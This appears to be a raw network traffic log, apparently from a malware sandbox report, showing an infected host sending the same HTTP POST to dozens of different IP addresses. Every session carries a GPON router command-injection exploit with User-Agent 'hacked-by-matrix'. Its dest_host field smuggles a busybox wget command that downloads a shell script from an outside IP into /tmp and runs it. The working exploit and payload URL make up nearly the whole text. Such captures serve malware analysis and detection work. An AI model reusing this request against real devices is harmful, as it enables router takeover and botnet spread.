Mar 21, 2024 05:23:46.888076067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2191	192.168.2.13	48028	118.192.180.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888084888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2192	192.168.2.13	48486	118.50.244.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888084888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2193	192.168.2.13	45062	42.90.236.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888094902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2194	192.168.2.13	46408	109.168.82.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888118982 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2195	192.168.2.13	39478	118.144.217.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888119936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2196	192.168.2.13	44082	5.133.166.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888128996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2197	192.168.2.13	51632	118.115.190.205	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888135910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2198	192.168.2.13	58650	109.230.212.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888154030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2199	192.168.2.13	60184	118.152.6.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888180017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2200	192.168.2.13	37774	109.226.170.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888189077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2201	192.168.2.13	35780	42.16.96.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888207912 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2202	192.168.2.13	50782	212.243.111.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888209105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2203	192.168.2.13	47342	109.233.91.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888215065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2204	192.168.2.13	46670	5.183.202.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888238907 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2205	192.168.2.13	53566	42.22.141.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888252974 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2206	192.168.2.13	45336	212.70.243.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888268948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2207	192.168.2.13	51768	118.58.181.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888271093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2208	192.168.2.13	59488	118.65.96.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888272047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2209	192.168.2.13	36712	212.123.233.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888294935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2210	192.168.2.13	60902	5.134.176.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888320923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2211	192.168.2.13	37400	5.63.45.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888329983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2212	192.168.2.13	51454	42.252.154.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888346910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2213	192.168.2.13	46644	42.222.0.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888374090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2214	192.168.2.13	46722	118.148.117.127	443

Timestamp	Bytes transferred	Direction	Data
